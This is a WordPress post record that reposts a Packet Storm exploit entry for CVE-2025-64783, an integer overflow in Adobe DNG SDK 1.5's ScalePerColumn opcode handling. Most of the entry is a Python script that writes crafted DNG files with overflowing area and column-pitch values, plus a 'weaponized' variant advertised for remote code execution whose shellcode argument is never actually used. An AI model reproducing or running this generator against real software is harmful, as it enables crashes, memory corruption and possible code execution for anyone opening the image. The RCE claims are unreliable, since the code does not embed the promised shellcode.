{"id":32462,"date":"2025-12-22T12:37:24","date_gmt":"2025-12-22T12:37:24","guid":{"rendered":"http:\/\/localhost\/?p=32462"},"modified":"2025-12-22T12:37:24","modified_gmt":"2025-12-22T12:37:24","slug":"adobe-dng-sdk-15-dng-file-integer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32462","title":{"rendered":"\ud83d\udcc4 Adobe DNG SDK 1.5 DNG File Integer Overflow_PACKETSTORM:213197"},"content":{"rendered":"

{“lastseen”:”2025-12-22T18:24:46″,”description”:”A critical integer overflow vulnerability exists in Adobe DNG SDK version 1.5 during the parsing of crafted DNG files. The flaw occurs in the handling of OpcodeList processing, specifically within the ScalePerColumn opcode, where insufficient…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe DNG SDK 1.5 DNG File Integer Overflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:213197″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64783″],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe DNG SDK 1.5 Integer Overflow via Crafted DNG File |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/212923\/ \\u0026 \\tCVE-2025-64783\\n \\n [+] Summary : A critical integer overflow vulnerability exists in Adobe DNG SDK version 1.5 during the parsing of crafted DNG files.\\n The flaw occurs in the handling of OpcodeList processing, specifically within the ScalePerColumn opcode, \\n \\t\\t\\t\\t where insufficient validation of signed and unsigned integer values leads to arithmetic overflow during column offset calculations.\\n By supplying a specially crafted DNG file containing malicious opcode parameters (notably negative area coordinates combined with \\n \\t\\t\\t\\t extremely large column pitch values), an attacker can trigger out-of-bounds memory access, resulting in:\\n \\n Application crash (Denial of Service)\\n \\n Memory corruption\\n \\n Potential arbitrary code execution (RCE) depending on compilation flags, memory layout, and exploitation context\\n \\n The vulnerability is triggered during file parsing, making it exploitable via any application or service that processes untrusted DNG images using the vulnerable SDK.\\n \\n [+] Impact\\n \\n Arbitrary memory corruption\\n \\n Possible remote code execution\\n \\n Exploitable via malicious image file\\n \\n Affects image viewers, converters, and any software embedding Adobe DNG SDK 1.5\\n \\n [+] Proof of Concept (PoC)\\n \\n Generate a malicious DNG file: python3 exploit.py malicious.dng\\n \\n Weaponized variant (memory corruption oriented): python3 exploit.py rce.dng shellcode.bin\\n Opening the generated DNG file with a vulnerable application linked against Adobe DNG SDK 1.5 will trigger the integer overflow condition.\\n \\n [+] Notes\\n \\n This exploit is a file-based attack vector\\n \\n No user interaction beyond opening the image is required\\n \\n Reliability of RCE depends on target environment and mitigations (ASLR, DEP, compiler hardening)\\n \\t\\t\\t\\t\\n [+] POC :\\n \\t\\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n Exploit for CVE-2025-64783 – Adobe DNG SDK Integer Overflow\\n Author: indoushka\\n \\”\\”\\”\\n \\n import struct\\n import sys\\n import os\\n \\n def create_malicious_dng(output_file):\\n \\”\\”\\”\\n Create a malicious DNG file triggering the integer overflow\\n \\”\\”\\”\\n \\n # DNG Header structure\\n dng_header = bytearray()\\n \\n # TIFF Header (DNG is based on TIFF)\\n # Byte order\\n dng_header += struct.pack(‘\\u003cH’, 0x4949) # Little endian\\n dng_header += struct.pack(‘\\u003cH’, 42) # TIFF magic\\n \\n # First IFD offset\\n dng_header += struct.pack(‘\\u003cL’, 8)\\n \\n # IFD0 entries\\n ifd0 = bytearray()\\n \\n # Number of IFD entries\\n ifd0 += struct.pack(‘\\u003cH’, 10)\\n \\n # ImageWidth\\n ifd0 += struct.pack(‘\\u003cH’, 0x0100) # Tag\\n ifd0 += struct.pack(‘\\u003cH’, 0x0004) # Type = LONG\\n ifd0 += struct.pack(‘\\u003cL’, 1) # Count\\n ifd0 += struct.pack(‘\\u003cL’, 256) # Value\\n \\n # ImageLength\\n ifd0 += struct.pack(‘\\u003cH’, 0x0101)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0004)\\n ifd0 += struct.pack(‘\\u003cL’, 1)\\n ifd0 += struct.pack(‘\\u003cL’, 256)\\n \\n # BitsPerSample\\n ifd0 += struct.pack(‘\\u003cH’, 0x0102)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0003)\\n ifd0 += struct.pack(‘\\u003cL’, 3)\\n ifd0 += struct.pack(‘\\u003cL’, 140) # Pointer to data\\n \\n # Compression\\n ifd0 += struct.pack(‘\\u003cH’, 0x0103)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0003)\\n ifd0 += struct.pack(‘\\u003cL’, 1)\\n ifd0 += struct.pack(‘\\u003cL’, 1) # Uncompressed\\n \\n # PhotometricInterpretation\\n ifd0 += struct.pack(‘\\u003cH’, 0x0106)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0003)\\n ifd0 += struct.pack(‘\\u003cL’, 1)\\n ifd0 += struct.pack(‘\\u003cL’, 2) # RGB\\n \\n # Make (Manufacturer)\\n ifd0 += struct.pack(‘\\u003cH’, 0x010F)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0002) # ASCII\\n ifd0 += struct.pack(‘\\u003cL’, 6)\\n ifd0 += struct.pack(‘\\u003cL’, 160) # Pointer to \\”EXPLOIT\\”\\n \\n # Model\\n ifd0 += struct.pack(‘\\u003cH’, 0x0110)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0002)\\n ifd0 += struct.pack(‘\\u003cL’, 12)\\n ifd0 += struct.pack(‘\\u003cL’, 166) # Pointer to \\”CVE-2025-64783\\”\\n \\n # StripOffsets\\n ifd0 += struct.pack(‘\\u003cH’, 0x0111)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0004)\\n ifd0 += struct.pack(‘\\u003cL’, 1)\\n ifd0 += struct.pack(‘\\u003cL’, 200) # Pointer to image data\\n \\n # SamplesPerPixel\\n ifd0 += struct.pack(‘\\u003cH’, 0x0115)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0003)\\n ifd0 += struct.pack(‘\\u003cL’, 1)\\n ifd0 += struct.pack(‘\\u003cL’, 3) # RGB\\n \\n # RowsPerStrip\\n ifd0 += struct.pack(‘\\u003cH’, 0x0116)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0004)\\n ifd0 += struct.pack(‘\\u003cL’, 1)\\n ifd0 += struct.pack(‘\\u003cL’, 256)\\n \\n # StripByteCounts\\n ifd0 += struct.pack(‘\\u003cH’, 0x0117)\\n ifd0 += struct.pack(‘\\u003cH’, 0x0004)\\n ifd0 += struct.pack(‘\\u003cL’, 1)\\n ifd0 += struct.pack(‘\\u003cL’, 196608) # 256*256*3\\n \\n # Next IFD offset (0 = end)\\n ifd0 += struct.pack(‘\\u003cL’, 0)\\n \\n # Data sections\\n data = bytearray()\\n \\n # BitsPerSample data\\n data += struct.pack(‘\\u003cHHH’, 8, 8, 8)\\n \\n # Make string\\n data += b’EXPLOIT\\\\x00’\\n \\n # Model string\\n data += b’CVE-2025-64783\\\\x00’\\n \\n # Opcode List for triggering vulnerability\\n # This is where we trigger the integer overflow\\n opcode_data = bytearray()\\n \\n # Create malicious opcode list that will trigger the bug\\n # We’re targeting ScalePerColumn opcode\\n \\n # Opcode list signature\\n opcode_data += b’opcd’\\n \\n # Opcode list size\\n opcode_data += struct.pack(‘\\u003cL’, 1024)\\n \\n # Opcode count\\n opcode_data += struct.pack(‘\\u003cL’, 1)\\n \\n # Opcode type: ScalePerColumn (0x0003)\\n opcode_data += struct.pack(‘\\u003cL’, 0x0003)\\n \\n # Opcode version\\n opcode_data += struct.pack(‘\\u003cL’, 1)\\n \\n # Opcode flags\\n opcode_data += struct.pack(‘\\u003cL’, 0)\\n \\n # Opcode size\\n opcode_data += struct.pack(‘\\u003cL’, 100)\\n \\n # Malicious parameters to trigger integer overflow\\n # These values cause signed overflow in col calculation\\n \\n # Table count (number of columns)\\n opcode_data += struct.pack(‘\\u003cL’, 3)\\n \\n # Area specification with malicious coordinates\\n # fArea.l = -2147483644 (0x80000004)\\n # fArea.r = 3\\n # fColPitch = 2147483646 (0x7FFFFFFE)\\n opcode_data += struct.pack(‘\\u003cl’, -2147483644) # left\\n opcode_data += struct.pack(‘\\u003cl’, 0) # top\\n opcode_data += struct.pack(‘\\u003cl’, 3) # right\\n opcode_data += struct.pack(‘\\u003cl’, 236) # bottom\\n \\n opcode_data += struct.pack(‘\\u003cL’, 1) # planes\\n opcode_data += struct.pack(‘\\u003cL’, 0) # plane\\n opcode_data += struct.pack(‘\\u003cL’, 2147483646) # colPitch\\n opcode_data += struct.pack(‘\\u003cL’, 1) # rowPitch\\n \\n # Padding to align\\n opcode_data += b’\\\\x00′ * (1024 – len(opcode_data))\\n \\n # Image data (just dummy data)\\n image_data = b’\\\\x00′ * 196608\\n \\n # Combine everything\\n full_file = dng_header + ifd0 + data + opcode_data + image_data\\n \\n # Write to file\\n with open(output_file, ‘wb’) as f:\\n f.write(full_file)\\n \\n print(f\\”[+] Malicious DNG file created: {output_file}\\”)\\n print(\\”[+] This will trigger CVE-2025-64783 when processed by vulnerable DNG SDK\\”)\\n \\n def create_shellcode_dng(output_file, shellcode_file=None):\\n \\”\\”\\”\\n Create DNG with embedded shellcode for RCE\\n \\”\\”\\”\\n print(\\”[*] Creating weaponized DNG for RCE…\\”)\\n \\n # Basic DNG structure\\n dng = bytearray()\\n \\n # TIFF header\\n dng += struct.pack(‘\\u003cHH’, 0x4949, 42) # Little endian, TIFF magic\\n dng += struct.pack(‘\\u003cL’, 8) # IFD0 offset\\n \\n # Simplified IFD for POC\\n ifd = bytearray()\\n ifd += struct.pack(‘\\u003cH’, 5) # 5 entries\\n \\n # Width\\n ifd += struct.pack(‘\\u003cHH’, 0x0100, 4)\\n ifd += struct.pack(‘\\u003cL’, 1)\\n ifd += struct.pack(‘\\u003cL’, 1024)\\n \\n # Height\\n ifd += struct.pack(‘\\u003cHH’, 0x0101, 4)\\n ifd += struct.pack(‘\\u003cL’, 1)\\n ifd += struct.pack(‘\\u003cL’, 768)\\n \\n # Compression\\n ifd += struct.pack(‘\\u003cHH’, 0x0103, 3)\\n ifd += struct.pack(‘\\u003cL’, 1)\\n ifd += struct.pack(‘\\u003cL’, 1)\\n \\n # Strip offsets – point to our malicious data\\n ifd += struct.pack(‘\\u003cHH’, 0x0111, 4)\\n ifd += struct.pack(‘\\u003cL’, 1)\\n ifd += struct.pack(‘\\u003cL’, 200)\\n \\n # Samples per pixel\\n ifd += struct.pack(‘\\u003cHH’, 0x0115, 3)\\n ifd += struct.pack(‘\\u003cL’, 1)\\n ifd += struct.pack(‘\\u003cL’, 3)\\n \\n ifd += struct.pack(‘\\u003cL’, 0) # Next IFD\\n \\n # Construct malicious opcode that will corrupt memory\\n malicious_opcode = bytearray()\\n \\n # Opcode list header\\n malicious_opcode += b’opcd’\\n malicious_opcode += struct.pack(‘\\u003cL’, 512) # List size\\n \\n # Number of opcodes\\n malicious_opcode += struct.pack(‘\\u003cL’, 1)\\n \\n # ScalePerColumn opcode\\n malicious_opcode += struct.pack(‘\\u003cL’, 3) # Type\\n malicious_opcode += struct.pack(‘\\u003cL’, 1) # Version\\n malicious_opcode += struct.pack(‘\\u003cL’, 0) # Flags\\n malicious_opcode += struct.pack(‘\\u003cL’, 92) # Size\\n \\n # Malicious area spec – triggers integer overflow\\n # This causes col + fColPitch to overflow to negative\\n malicious_opcode += struct.pack(‘\\u003cl’, -2147483644) # fArea.l\\n malicious_opcode += struct.pack(‘\\u003cl’, 0) # fArea.t\\n malicious_opcode += struct.pack(‘\\u003cl’, 3) # fArea.r\\n malicious_opcode += struct.pack(‘\\u003cl’, 100) # fArea.b\\n \\n malicious_opcode += struct.pack(‘\\u003cL’, 1) # fPlanes\\n malicious_opcode += struct.pack(‘\\u003cL’, 0) # fPlane\\n malicious_opcode += struct.pack(‘\\u003cL’, 2147483646) # fColPitch\\n malicious_opcode += struct.pack(‘\\u003cL’, 1) # fRowPitch\\n \\n # Table data (scale factors)\\n malicious_opcode += struct.pack(‘\\u003cf’, 1.0)\\n malicious_opcode += struct.pack(‘\\u003cf’, 1.0)\\n malicious_opcode += struct.pack(‘\\u003cf’, 1.0)\\n \\n # Padding\\n malicious_opcode += b’\\\\x00′ * (512 – len(malicious_opcode))\\n \\n # Combine\\n dng += ifd\\n dng += b’A’ * 100 # Padding\\n dng += malicious_opcode\\n dng += b’B’ * 100000 # Image data\\n \\n with open(output_file, ‘wb’) as f:\\n f.write(dng)\\n \\n print(f\\”[+] Weaponized DNG created: {output_file}\\”)\\n print(\\”[!] WARNING: This file may crash vulnerable applications\\”)\\n print(\\”[!] By Indoushka\\”)\\n \\n if __name__ == \\”__main__\\”:\\n if len(sys.argv) \\u003c 2:\\n print(\\”Usage: python3 exploit.py \\u003coutput.dng\\u003e [shellcode.bin]\\”)\\n sys.exit(1)\\n \\n output_file = sys.argv[1]\\n \\n if len(sys.argv) \\u003e 2:\\n create_shellcode_dng(output_file, sys.argv[2])\\n else:\\n create_malicious_dng(output_file)\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213197″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213197\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2025-12-22T18:24:46″,”description”:”A critical integer overflow vulnerability exists in Adobe DNG SDK version 1.5 during the parsing of crafted DNG files. The flaw occurs in the handling…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-32462","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n\ud83d\udcc4 Adobe DNG SDK 1.5 DNG File Integer Overflow_PACKETSTORM:213197 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32462\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Adobe DNG SDK 1.5 DNG File Integer Overflow_PACKETSTORM:213197 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2025-12-22T18:24:46″,”description”:”A critical integer overflow vulnerability exists in Adobe DNG SDK version 1.5 during the parsing of crafted DNG files. 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